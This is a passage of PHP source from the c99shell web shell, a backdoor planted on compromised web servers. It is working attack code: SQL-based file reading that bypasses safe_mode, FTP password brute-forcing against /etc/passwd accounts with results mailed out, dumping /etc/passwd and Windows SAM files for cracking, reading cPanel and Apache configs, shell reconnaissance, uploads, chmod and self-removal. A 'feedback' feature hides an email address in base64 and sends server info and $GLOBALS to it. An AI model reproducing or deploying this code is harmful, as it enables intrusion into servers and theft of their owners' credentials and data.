                                echo "<option value=\"\">With selected:</option>";
                                echo "<option value=\"tbldrop\">Drop</option>";
                                echo "<option value=\"tblempty\">Empty</option>";
                                echo "<option value=\"tbldump\">Dump</option>";
                                echo "<option value=\"tblcheck\">Check table</option>";
                                echo "<option value=\"tbloptimize\">Optimize table</option>";
                                echo "<option value=\"tblrepair\">Repair table</option>";
                                echo "<option value=\"tblanalyze\">Analyze table</option>";
                                echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
                                mysql_free_result($result);
                            }
                        }
                    }
                }
            }
            else
            {
                $acts = array(
                    "",
                    "newdb",
                    "serverstatus",
                    "servervars",
                    "processes",
                    "getfile"
                );
                if (in_array($sql_act, $acts))
                { ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
                }
                if (!empty($sql_act))
                {
                    echo "<hr size=\"1\" noshade>";
                    if ($sql_act == "newdb")
                    {
                        echo "<b>";
                        if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb)))
                        {
                            echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
                        }
                        else
                        {
                            echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
                        }
                    }
                    if ($sql_act == "serverstatus")
                    {
                        $result = mysql_query("SHOW STATUS", $sql_sock);
                        echo "<center><b>Server-status variables:</b><br><br>";
                        echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
                        while ($row = mysql_fetch_array($result, MYSQL_NUM))
                        {
                            echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
                        }
                        echo "</table></center>";
                        mysql_free_result($result);
                    }
                    if ($sql_act == "servervars")
                    {
                        $result = mysql_query("SHOW VARIABLES", $sql_sock);
                        echo "<center><b>Server variables:</b><br><br>";
                        echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
                        while ($row = mysql_fetch_array($result, MYSQL_NUM))
                        {
                            echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
                        }
                        echo "</table>";
                        mysql_free_result($result);
                    }
                    if ($sql_act == "processes")
                    {
                        if (!empty($kill))
                        {
                            $query = "KILL " . $kill . ";";
                            $result = mysql_query($query, $sql_sock);
                            echo "<b>Killing process #" . $kill . "... ok. he is dead, amen.</b>";
                        }
                        $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
                        echo "<center><b>Processes:</b><br><br>";
                        echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
                        while ($row = mysql_fetch_array($result, MYSQL_NUM))
                        {
                            echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_act=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>";
                        }
                        echo "</table>";
                        mysql_free_result($result);
                    }
                    if ($sql_act == "getfile")
                    {
                        $tmpdb = $sql_login . "_tmpdb";
                        $select = mysql_select_db($tmpdb);
                        if (!$select)
                        {
                            mysql_create_db($tmpdb);
                            $select = mysql_select_db($tmpdb);
                            $created = !!$select;
                        }
                        if ($select)
                        {
                            $created = false;
                            mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
                            mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file");
                            $result = mysql_query("SELECT * FROM tmp_file;");
                            if (!$result)
                            {
                                echo "<b>Error in reading file (permision denied)!</b>";
                            }
                            else
                            {
                                for ($i = 0;$i < mysql_num_fields($result);$i++)
                                {
                                    $name = mysql_field_name($result, $i);
                                }
                                $f = "";
                                while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
                                {
                                    $f .= join("\r\n", $row);
                                }
                                if (empty($f))
                                {
                                    echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b><br>";
                                }
                                else
                                {
                                    echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f)) . "<br>";
                                }
                                mysql_free_result($result);
                                mysql_query("DROP TABLE tmp_file;");
                            }
                        }
                        mysql_drop_db($tmpdb);
                    }
                }
            }
        }
        echo "</td></tr></table>";
        if ($sql_sock)
        {
            $affected = @mysql_affected_rows($sql_sock);
            if ((!is_numeric($affected)) or ($affected < 0))
            {
                $affected = 0;
            }
            echo "<tr><td><center><b>Affected rows: " . $affected . "</center></td></tr>";
        }
        echo "</table>";
    }
    if ($act == "mkdir")
    {
        if ($mkdir != $d)
        {
            if (file_exists($mkdir))
            {
                echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: object alredy exists";
            }
            elseif (!mkdir($mkdir))
            {
                echo "<b>Make Dir \"" . htmlspecialchars($mkdir) . "\"</b>: access denied";
            }
            echo "<br><br>";
        }
        $act = $dspact = "ls";
    }
    if ($act == "ftpquickbrute")
    {
        echo "<b>Ftp Quick brute:</b><br>";
        if (!win)
        {
            echo "This functions not work in Windows!<br><br>";
        }
        else
        {
            function c99ftpbrutecheck($host, $port, $timeout, $login, $pass, $sh, $fqb_onlywithsh)
            {
                if ($fqb_onlywithsh)
                {
                    $true = (!in_array($sh, array(
                        "/bin/false",
                        "/sbin/nologin"
                    )));
                }
                else
                {
                    $true = true;
                }
                if ($true)
                {
                    $sock = @ftp_connect($host, $port, $timeout);
                    if (@ftp_login($sock, $login, $pass))
                    {
                        echo "<a href=\"ftp://" . $login . ":" . $pass . "@" . $host . "\" target=\"_blank\"><b>Connected to " . $host . " with login \"" . $login . "\" and password \"" . $pass . "\"</b></a>.<br>";
                        ob_flush();
                        return true;
                    }
                }
            }
            if (!empty($submit))
            {
                if (!is_numeric($fqb_lenght))
                {
                    $fqb_lenght = $nixpwdperpage;
                }
                $fp = fopen("/etc/passwd", "r");
                if (!$fp)
                {
                    echo "Can't get /etc/passwd for password-list.";
                }
                else
                {
                    if ($fqb_logging)
                    {
                        if ($fqb_logfile)
                        {
                            $fqb_logfp = fopen($fqb_logfile, "w");
                        }
                        else
                        {
                            $fqb_logfp = false;
                        }
                        $fqb_log = "FTP Quick Brute (called c99shell v. " . $shver . ") started at " . date("d.m.Y H:i:s") . "\r\n\r\n";
                        if ($fqb_logfile)
                        {
                            fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
                        }
                    }
                    ob_flush();
                    $i = $success = 0;
                    $ftpquick_st = getmicrotime();
                    while (!feof($fp))
                    {
                        $str = explode(":", fgets($fp, 2048));
                        if (c99ftpbrutecheck("localhost", 21, 1, $str[0], $str[0], $str[6], $fqb_onlywithsh))
                        {
                            echo "<b>Connected to " . getenv("SERVER_NAME") . " with login \"" . $str[0] . "\" and password \"" . $str[0] . "\"</b><br>";
                            $fqb_log .= "Connected to " . getenv("SERVER_NAME") . " with login \"" . $str[0] . "\" and password \"" . $str[0] . "\", at " . date("d.m.Y H:i:s") . "\r\n";
                            if ($fqb_logfp)
                            {
                                fseek($fqb_logfp, 0);
                                fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
                            }
                            $success++;
                            ob_flush();
                        }
                        if ($i > $fqb_lenght)
                        {
                            break;
                        }
                        $i++;
                    }
                    if ($success == 0)
                    {
                        echo "No success. connections!";
                        $fqb_log .= "No success. connections!\r\n";
                    }
                    $ftpquick_t = round(getmicrotime() - $ftpquick_st, 4);
                    echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): " . $ftpquick_t . "<br>Total connections: " . $i . "<br>Success.: <font color=green><b>" . $success . "</b></font><br>Unsuccess.:" . ($i - $success) . "</b><br>Connects per second: " . round($i / $ftpquick_t, 2) . "<br>";
                    $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): " . $ftpquick_t . "\r\nTotal connections: " . $i . "\r\nSuccess.: " . $success . "\r\nUnsuccess.:" . ($i - $success) . "\r\nConnects per second: " . round($i / $ftpquick_t, 2) . "\r\n";
                    if ($fqb_logfp)
                    {
                        fseek($fqb_logfp, 0);
                        fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
                    }
                    if ($fqb_logemail)
                    {
                        @mail($fqb_logemail, "c99shell v. " . $shver . " report", $fqb_log);
                    }
                    fclose($fqb_logfp);
                }
            }
            else
            {
                $logfile = $tmpdir_logs . "c99sh_ftpquickbrute_" . date("d.m.Y_H_i_s") . ".log";
                $logfile = str_replace("//", DIRECTORY_SEPARATOR, $logfile);
                echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"" . $nixpwdperpage . "\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"" . $logfile . "\" size=\"" . (strlen($logfile) + 2 * (strlen($logfile) / 10)) . "\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"" . $log_email . "\" size=\"" . (strlen($logemail) + 2 * (strlen($logemail) / 10)) . "\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
            }
        }
    }
    if ($act == "d")
    {
        if (!is_dir($d))
        {
            echo "<center><b>Permision denied!</b></center>";
        }
        else
        {
            echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
            if (!$win)
            {
                echo "<tr><td><b>Owner/Group</b></td><td> ";
                $ow = posix_getpwuid(fileowner($d));
                $gr = posix_getgrgid(filegroup($d));
                $row[] = ($ow["name"] ? $ow["name"] : fileowner($d)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d));
            }
            echo "<tr><td><b>Perms</b></td><td><a href=\"" . $surl . "act=chmod&d=" . urlencode($d) . "\"><b>" . view_perms_color($d) . "</b></a><tr><td><b>Create time</b></td><td> " . date("d/m/Y H:i:s", filectime($d)) . "</td></tr><tr><td><b>Access time</b></td><td> " . date("d/m/Y H:i:s", fileatime($d)) . "</td></tr><tr><td><b>MODIFY time</b></td><td> " . date("d/m/Y H:i:s", filemtime($d)) . "</td></tr></table><br>";
        }
    }
    if ($act == "phpinfo")
    {
        @ob_clean();
        phpinfo();
        c99shexit();
    }
    if ($act == "security")
    {
        echo "<center><b>Server security information:</b></center><b>Open base dir: " . $hopenbasedir . "</b><br>";
        if (!$win)
        {
            if ($nixpasswd)
            {
                if ($nixpasswd == 1)
                {
                    $nixpasswd = 0;
                }
                echo "<b>*nix /etc/passwd:</b><br>";
                if (!is_numeric($nixpwd_s))
                {
                    $nixpwd_s = 0;
                }
                if (!is_numeric($nixpwd_e))
                {
                    $nixpwd_e = $nixpwdperpage;
                }
                echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"" . $nixpwd_s . "\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"" . $nixpwd_e . "\">&nbsp;<input type=submit value=\"View\"></form><br>";
                $i = $nixpwd_s;
                while ($i < $nixpwd_e)
                {
                    $uid = posix_getpwuid($i);
                    if ($uid)
                    {
                        $uid["dir"] = "<a href=\"" . $surl . "act=ls&d=" . urlencode($uid["dir"]) . "\">" . $uid["dir"] . "</a>";
                        echo join(":", $uid) . "<br>";
                    }
                    $i++;
                }
            }
            else
            {
                echo "<br><a href=\"" . $surl . "act=security&nixpasswd=1&d=" . $ud . "\"><b><u>Get /etc/passwd</u></b></a><br>";
            }
        }
        else
        {
            $v = $_SERVER["WINDIR"] . "\repair\sam";
            if (file_get_contents($v))
            {
                echo "<b><font color=red>You can't crack winnt passwords(" . $v . ") </font></b><br>";
            }
            else
            {
                echo "<b><font color=green>You can crack winnt passwords. <a href=\"" . $surl . "act=f&f=sam&d=" . $_SERVER["WINDIR"] . "\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";
            }
        }
        if (file_get_contents("/etc/userdomains"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=userdomains&d=" . urlencode("/etc") . "&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";
        }
        if (file_get_contents("/var/cpanel/accounting.log"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=accounting.log&d=" . urlencode("/var/cpanel/") . "\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";
        }
        if (file_get_contents("/usr/local/apache/conf/httpd.conf"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=httpd.conf&d=" . urlencode("/usr/local/apache/conf") . "&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";
        }
        if (file_get_contents("/etc/httpd.conf"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=httpd.conf&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";
        }
        if (file_get_contents("/etc/syslog.conf"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=syslog.conf&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";
        }
        if (file_get_contents("/etc/motd"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=motd&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";
        }
        if (file_get_contents("/etc/hosts"))
        {
            echo "<b><font color=green><a href=\"" . $surl . "act=f&f=hosts&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";
        }
        function displaysecinfo($name, $value)
        {
            if (!empty($value))
            {
                if (!empty($name))
                {
                    $name = "<b>" . $name . " - </b>";
                }
                echo $name . nl2br($value) . "<br>";
            }
        }
        displaysecinfo("OS Version?", myshellexec("cat /proc/version"));
        displaysecinfo("Kernel version?", myshellexec("sysctl -a | grep version"));
        displaysecinfo("Distrib name", myshellexec("cat /etc/issue.net"));
        displaysecinfo("Distrib name (2)", myshellexec("cat /etc/*-realise"));
        displaysecinfo("CPU?", myshellexec("cat /proc/cpuinfo"));
        displaysecinfo("RAM", myshellexec("free -m"));
        displaysecinfo("HDD space", myshellexec("df -h"));
        displaysecinfo("List of Attributes", myshellexec("lsattr -a"));
        displaysecinfo("Mount options ", myshellexec("cat /etc/fstab"));
        displaysecinfo("Is cURL installed?", myshellexec("which curl"));
        displaysecinfo("Is lynx installed?", myshellexec("which lynx"));
        displaysecinfo("Is links installed?", myshellexec("which links"));
        displaysecinfo("Is fetch installed?", myshellexec("which fetch"));
        displaysecinfo("Is GET installed?", myshellexec("which GET"));
        displaysecinfo("Is perl installed?", myshellexec("which perl"));
        displaysecinfo("Where is apache", myshellexec("whereis apache"));
        displaysecinfo("Where is perl?", myshellexec("whereis perl"));
        displaysecinfo("locate proftpd.conf", myshellexec("locate proftpd.conf"));
        displaysecinfo("locate httpd.conf", myshellexec("locate httpd.conf"));
        displaysecinfo("locate my.conf", myshellexec("locate my.conf"));
        displaysecinfo("locate psybnc.conf", myshellexec("locate psybnc.conf"));
    }
    if ($act == "mkfile")
    {
        if ($mkfile != $d)
        {
            if (file_exists($mkfile))
            {
                echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: object alredy exists";
            }
            elseif (!fopen($mkfile, "w"))
            {
                echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: access denied";
            }
            else
            {
                $act = "f";
                $d = dirname($mkfile);
                if (substr($d, -1) != DIRECTORY_SEPARATOR)
                {
                    $d .= DIRECTORY_SEPARATOR;
                }
                $f = basename($mkfile);
            }
        }
        else
        {
            $act = $dspact = "ls";
        }
    }
    if ($act == "encoder")
    {
        echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"" . $surl . "\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>" . @htmlspecialchars($encoder_input) . "</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
        foreach (array(
            "md5",
            "crypt",
            "sha1",
            "crc32"
        ) as $v)
        {
            echo $v . " - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . $v($encoder_input) . "\" readonly><br>";
        }
        echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . urlencode($encoder_input) . "\" readonly>
 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . htmlspecialchars(urldecode($encoder_input)) . "\" readonly>
 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . base64_encode($encoder_input) . "\" readonly></center>";
        echo "<center>base64_decode - ";
        if (base64_encode(base64_decode($encoder_input)) != $encoder_input)
        {
            echo "<input type=text size=35 value=\"failed\" disabled readonly>";
        }
        else
        {
            $debase64 = base64_decode($encoder_input);
            $debase64 = str_replace("\0", "[0]", $debase64);
            $a = explode("\r\n", $debase64);
            $rows = count($a);
            $debase64 = htmlspecialchars($debase64);
            if ($rows == 1)
            {
                echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . $debase64 . "\" id=\"debase64\" readonly>";
            }
            else
            {
                $rows++;
                echo "<textarea cols=\"40\" rows=\"" . $rows . "\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>" . $debase64 . "</textarea>";
            }
            echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
        }
        echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
        $c = strlen($encoder_input);
        for ($i = 0;$i < $c;$i++)
        {
            $hex = dechex(ord($encoder_input[$i]));
            if ($encoder_input[$i] == "&")
            {
                echo $encoder_input[$i];
            }
            elseif ($encoder_input[$i] != "\\")
            {
                echo "%" . $hex;
            }
        }
        echo "\" readonly><br></center></form>";
    }
    if ($act == "fsbuff")
    {
        $arr_copy = $sess_data["copy"];
        $arr_cut = $sess_data["cut"];
        $arr = array_merge($arr_copy, $arr_cut);
        if (count($arr) == 0)
        {
            echo "<center><b>Buffer is empty!</b></center>";
        }
        else
        {
            echo "<b>File-System buffer</b><br><br>";
            $ls_arr = $arr;
            $disp_fullpath = true;
            $act = "ls";
        }
    }
    if ($act == "selfremove")
    {
        if (($submit == $rndcode) and ($submit != ""))
        {
            if (unlink(__FILE__))
            {
                @ob_clean();
                echo "Thanks for using c99shell v." . $shver . "!";
                c99shexit();
            }
            else
            {
                echo "<center><b>Can't delete " . __FILE__ . "!</b></center>";
            }
        }
        else
        {
            if (!empty($rndcode))
            {
                echo "<b>Error: incorrect confimation!</b>";
            }
            $rnd = rand(0, 9) . rand(0, 9) . rand(0, 9);
            echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=selfremove><b>Self-remove: " . __FILE__ . " <br><b>Are you sure?<br>For confirmation, enter \"" . $rnd . "\"</b>:&nbsp;<input type=hidden name=rndcode value=\"" . $rnd . "\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
        }
    }
    if ($act == "update")
    {
        $ret = c99sh_getupdate(!!$confirmupdate);
        echo "<b>" . $ret . "</b>";
        if (stristr($ret, "new version"))
        {
            echo "<br><br><input type=button onclick=\"location.href='" . $surl . "act=update&confirmupdate=1';\" value=\"Update now\">";
        }
    }
    if ($act == "feedback")
    {
        $suppmail = base64_decode("c2VjdXJlaGFzaHBoaWxpcHBpbmVzQGdtYWlsLmNvbQ==");
        if (!empty($submit))
        {
            $ticket = substr(md5(microtime() + rand(1, 1000)) , 0, 6);
            $body = "c99shell v." . $shver . " feedback #" . $ticket . "\nName: " . htmlspecialchars($fdbk_name) . "\nE-mail: " . htmlspecialchars($fdbk_email) . "\nMessage:\n" . htmlspecialchars($fdbk_body) . "\n\nIP: " . $REMOTE_ADDR;
            if (!empty($fdbk_ref))
            {
                $tmp = @ob_get_contents();
                ob_clean();
                phpinfo();
                $phpinfo = base64_encode(ob_get_contents());
                ob_clean();
                echo $tmp;
                $body .= "\n" . "phpinfo(): " . $phpinfo . "\n" . "\$GLOBALS=" . base64_encode(serialize($GLOBALS)) . "\n";
            }
            mail($suppmail, "c99shell v." . $shver . " feedback #" . $ticket, $body, "FROM: " . $suppmail);
            echo "<center><b>Thanks for your feedback! Your ticket ID: " . $ticket . ".</b></center>";
        }
        else
        {
            echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (" . str_replace(array(
                "@",
                "."
            ) , array(
                "[at]",
                "[dot]"
            ) , $suppmail) . "):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"" . htmlspecialchars($fdbk_name) . "\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"" . htmlspecialchars($fdbk_email) . "\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>" . htmlspecialchars($fdbk_body) . "</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"" . urlencode($HTTP_REFERER) . "\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";
        }
    }
    if ($act == "search")
    {
        echo "<b>Search in file-system:</b><br>";
        if (empty($search_in))
        {
            $search_in = $d;
        }
        if (empty($search_name))
        {
            $search_name = "(.*)";
            $search_name_regexp = 1;
        }
        if (empty($search_text_wwo))
        {
            $search_text_regexp = 0;
        }
        if (!empty($submit))
        {
            $found = array();
            $found_d = 0;
            $found_f = 0;
            $search_i_f = 0;
            $search_i_d = 0;
            $a = array(
                "name" => $search_name,
                "name_regexp" => $search_name_regexp,
                "text" => $search_text,
                "text_regexp" => $search_text_regxp,
                "text_wwo" => $search_text_wwo,
                "text_cs" => $search_text_cs,
                "text_not" => $search_text_not
            );
            $searchtime = getmicrotime();
            $in = array_unique(explode(";", $search_in));
            foreach ($in as $v)
            {
                c99fsearch($v);
            }
            $searchtime = round(getmicrotime() - $searchtime, 4);
            if (count($found) == 0)
            {
                echo "<b>No files found!</b>";
            }
            else
            {
                $ls_arr = $found;
                $disp_fullpath = true;
                $act = "ls";
            }
        }
        echo "<form method=POST>
<input type=hidden name=\"d\" value=\"" . $dispd . "\"><input type=hidden name=act value=\"" . $dspact . "\">
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"" . round(strlen($search_name) + 25) . "\" value=\"" . htmlspecialchars($search_name) . "\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" " . ($search_name_regexp == 1 ? " checked" : "") . "> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"" . round(strlen($search_in) + 25) . "\" value=\"" . htmlspecialchars($search_in) . "\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">" . htmlspecialchars($search_text) . "</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" " . ($search_text_regexp == 1 ? " checked" : "") . "> - regexp
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" " . ($search_text_wwo == 1 ? " checked" : "") . "> - <u>w</u>hole words only
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" " . ($search_text_cs == 1 ? " checked" : "") . "> - cas<u>e</u> sensitive
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" " . ($search_text_not == 1 ? " checked" : "") . "> - find files <u>NOT</u> containing the text
<br><br><input type=submit name=submit value=\"Search\"></form>";
        if ($act == "ls")
        {
            $dspact = $act;
            echo "<hr size=\"1\" noshade><b>Search took " . $searchtime . " secs (" . $search_i_f . " files and " . $search_i_d . " folders, " . round(($search_i_f + $search_i_d) / $searchtime, 4) . " objects per second).</b><br><br>";
        }
    }
    if ($act == "chmod")
    {
        $mode = fileperms($d . $f);
        if (!$mode)
        {
            echo "<b>Change file-mode with error:</b> can't get current value.";
        }
        else
        {
            $form = true;
            if ($chmod_submit)
            {
                $octet = "0" . base_convert(($chmod_o["r"] ? 1 : 0) . ($chmod_o["w"] ? 1 : 0) . ($chmod_o["x"] ? 1 : 0) . ($chmod_g["r"] ? 1 : 0) . ($chmod_g["w"] ? 1 : 0) . ($chmod_g["x"] ? 1 : 0) . ($chmod_w["r"] ? 1 : 0) . ($chmod_w["w"] ? 1 : 0) . ($chmod_w["x"] ? 1 : 0) , 2, 8);
                if (chmod($d . $f, $octet))
                {
                    $act = "ls";
                    $form = false;
                    $err = "";
                }
                else
                {
                    $err = "Can't chmod to " . $octet . ".";
                }
            }
            if ($form)
            {
                $perms = parse_perms($mode);
                echo "<b>Changing file-mode (" . $d . $f . "), " . view_perms_color($d . $f) . " (" . substr(decoct(fileperms($d . $f)) , -4, 4) . ")</b><br>" . ($err ? "<b>Error:</b> " . $err : "") . "<form action=\"" . $surl . "\" method=POST><input type=hidden name=d value=\"" . htmlspecialchars($d) . "\"><input type=hidden name=f value=\"" . htmlspecialchars($f) . "\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1" . ($perms["o"]["r"] ? " checked" : "") . ">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1" . ($perms["o"]["w"] ? " checked" : "") . ">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1" . ($perms["o"]["x"] ? " checked" : "") . ">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1" . ($perms["g"]["r"] ? " checked" : "") . ">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1" . ($perms["g"]["w"] ? " checked" : "") . ">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1" . ($perms["g"]["x"] ? " checked" : "") . ">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1" . ($perms["w"]["r"] ? " checked" : "") . ">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1" . ($perms["w"]["w"] ? " checked" : "") . ">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1" . ($perms["w"]["x"] ? " checked" : "") . ">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
            }
        }
    }
    if ($act == "upload")
    {
        $uploadmess = "";
        $uploadpath = str_replace("\\", DIRECTORY_SEPARATOR, $uploadpath);
        if (empty($uploadpath))
        {
            $uploadpath = $d;
        }
        elseif (substr($uploadpath, -1) != "/")
        {
            $uploadpath .= "/";
        }
        if (!empty($submit))
        {
            global $HTTP_POST_FILES;
            $uploadfile = $HTTP_POST_FILES["uploadfile"];
            if (!empty($uploadfile["tmp_name"]))
            {
                if (empty($uploadfilename))
                {
                    $destin = $uploadfile["name"];
                }
                else
                {
                    $destin = $userfilename;
                }
                if (!move_uploaded_file($uploadfile["tmp_name"], $uploadpath . $destin))
                {
                    $uploadmess .= "Error uploading file " . $uploadfile["name"] . " (can't copy \"" . $uploadfile["tmp_name"] . "\" to \"" . $uploadpath . $destin . "\"!<br>";
                }
            }
